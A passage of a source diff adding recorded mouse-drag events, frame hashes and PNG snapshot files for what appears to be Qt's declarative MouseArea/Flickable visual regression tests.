+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: 354
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5872
+ hash: "b1085cb508d4613c76e99bc879c62cbf"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 363
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5888
+ hash: "365fd1260c2109e6d5bd0a97ce3a7e4e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 100; y: 370
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5904
+ hash: "3a7d001313b23cbbb7f3d842ab40f41b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 377
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 385
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5920
+ hash: "c5bda48bb2eaee54d6d8416592830327"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 394
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5936
+ hash: "5d0fd6d8a6ced4f197fe3b09e7e9155b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: 402
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5952
+ hash: "79e2825f98644c061ae5216ae1823e4b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 16; y: 410
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 6; y: 417
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5968
+ hash: "22a3978f2f3a0cde67f459527af3b3f2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 0; y: 422
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 427
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 5984
+ hash: "1511bec94911dd272f78a726e15bf76e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 432
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6000
+ hash: "0f892f7e570cdc703e492248c9f54b6c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 439
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6016
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 447
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 452
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6032
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 457
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6048
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 459
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6064
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 464
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 465
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6080
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 467
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6096
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 468
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6112
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 468
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 468
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6128
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 468
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6144
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 468
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6160
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 469
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 470
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6176
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 470
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6192
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Frame {
+ msec: 6208
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 470
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6224
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -3; y: 470
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -3; y: 470
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6240
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -2; y: 470
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6256
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -1; y: 470
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6272
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -1; y: 468
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 0; y: 467
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6288
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 0; y: 464
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6304
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 0; y: 458
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6320
+ hash: "ec34aa6937d2c081bdf11660a5eb461a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -3; y: 441
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 408
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6336
+ hash: "58413f9b01f1e0b49519d8b6a3011607"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 366
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6352
+ hash: "b3992d2f9c1383c710ee325a94117a8b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 327
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6368
+ hash: "bd415044fcf6218d8184cb0206105e65"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 300
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 288
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6384
+ hash: "e7296140fe8b28bed77e95e588c0e463"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 280
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6400
+ hash: "9ff532223ccccd663809187465e478c2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 276
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6416
+ hash: "4de9ca75503db05df5d8274d75c202e5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 271
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 259
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6432
+ hash: "a83b5bc409207e986055081b4ed3faa6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 227
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6448
+ hash: "7fdbd00dd3553241f30fd6568a8ab646"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 190
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6464
+ hash: "5ebaa67eaadc1ede8c46964fa1dffff1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -4; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: -2; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6480
+ hash: "de4bd9ad3cbb9bb19bf75f871b044072"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 1; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6496
+ hash: "9d762cd4dd6508cf8b54c47b76f4ef37"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 5; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6512
+ hash: "bdf17c384f4f824a89a06b88ba17c15f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 10; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 25; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6528
+ hash: "f279f28995785afd143726aef7673b50"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6544
+ hash: "53b6b82a61d017e12afb01a728d8d856"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 80; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6560
+ hash: "9a48039175cab1360a0cf5cc195e2082"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 98; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6576
+ hash: "cfc3991e30eef6c2edb66cb6060b2bde"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 123; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6592
+ hash: "737d8907f62768e623ba76866a509d1e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 134; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6608
+ hash: "dea2a596f7d85f29728b33d126d997e5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 145; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 161
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6624
+ hash: "3969a0bbb284ab1d5efd20cf93b0422d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6640
+ hash: "071ff25e49f7f16a727ff58c42ff766e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 176; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6656
+ hash: "454abec991a4675763f379c256919fa7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 184; y: 173
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 189; y: 177
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6672
+ hash: "6de741c4e6057dc8580106155c4ac627"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 184
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6688
+ hash: "e35853e99cd205b7ccabdf632b238584"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 199; y: 192
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6704
+ hash: "15a70a0196227c6bce50ed70cd6383c8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6720
+ hash: "bf4b18a73b53c0a554f9bb0ac32a465d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 217; y: 217
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6736
+ image: "drag.7.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 224; y: 223
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6752
+ hash: "ddd0f27027e23a45aef131296c781865"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 235; y: 228
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 246; y: 232
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6768
+ hash: "715102a252756e5a8c4f459d808aec6a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 257; y: 235
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6784
+ hash: "42b9c1b894247ddbd85f4a4aca5695f1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 267; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6800
+ hash: "b67b4bdd412ed5160901803c60c6f19e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 275; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 280; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6816
+ hash: "3490cc41c2b1f9301c209bdb8f052add"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 281; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6832
+ hash: "df32868d564ebbc41c359409b5a69e7d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 282; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6848
+ hash: "b9cb430a6f677e67c87322e0aff53fb1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 282; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6864
+ hash: "b9cb430a6f677e67c87322e0aff53fb1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 281; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6880
+ hash: "df32868d564ebbc41c359409b5a69e7d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 280; y: 239
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6896
+ hash: "3490cc41c2b1f9301c209bdb8f052add"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 279; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6912
+ hash: "e23a88f49a73cd2a9326095dd380ab55"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 277; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6928
+ hash: "ffffc1aed27fe77c2fe5c035eab706a9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 277; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6944
+ hash: "ffffc1aed27fe77c2fe5c035eab706a9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 276; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6960
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 276; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 6976
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 6992
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 276; y: 240
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 7008
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7024
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7040
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7056
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7072
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7088
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7104
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7120
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7136
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7152
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7168
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7184
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7200
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7216
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7232
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7248
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7264
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7280
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7296
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7312
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7328
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7344
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7360
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7376
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7392
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7408
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7424
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7440
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7456
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7472
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7488
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7504
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7520
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7536
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7552
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7568
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7584
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7600
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7616
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7632
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7648
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7664
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7680
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7696
+ image: "drag.8.png"
+ }
+ Frame {
+ msec: 7712
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7728
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7744
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7760
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7776
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7792
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7808
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7824
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7840
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7856
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7872
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7888
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7904
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7920
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7936
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7952
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7968
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 7984
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+ Frame {
+ msec: 8000
+ hash: "2c1ce07ab6ce0072f6cb205f1e5297e0"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.0.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.0.png
new file mode 100644
index 00000000..87305b34
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.1.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.1.png
new file mode 100644
index 00000000..87305b34
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.10.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.10.png
new file mode 100644
index 00000000..87305b34
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.10.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.11.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.11.png
new file mode 100644
index 00000000..b268c5cc
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.11.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.12.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.12.png
new file mode 100644
index 00000000..3926b9be
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.12.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.13.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.13.png
new file mode 100644
index 00000000..69561957
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.13.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.14.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.14.png
new file mode 100644
index 00000000..87305b34
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.14.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.2.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.2.png
new file mode 100644
index 00000000..87305b34
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.3.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.3.png
new file mode 100644
index 00000000..1d126919
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.4.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.4.png
new file mode 100644
index 00000000..1d126919
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.5.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.5.png
new file mode 100644
index 00000000..7f76076f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.6.png b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/data/mousearea-flickable.6.png
new file mode 100644
index 00000000..02c6af06
--- /dev/null
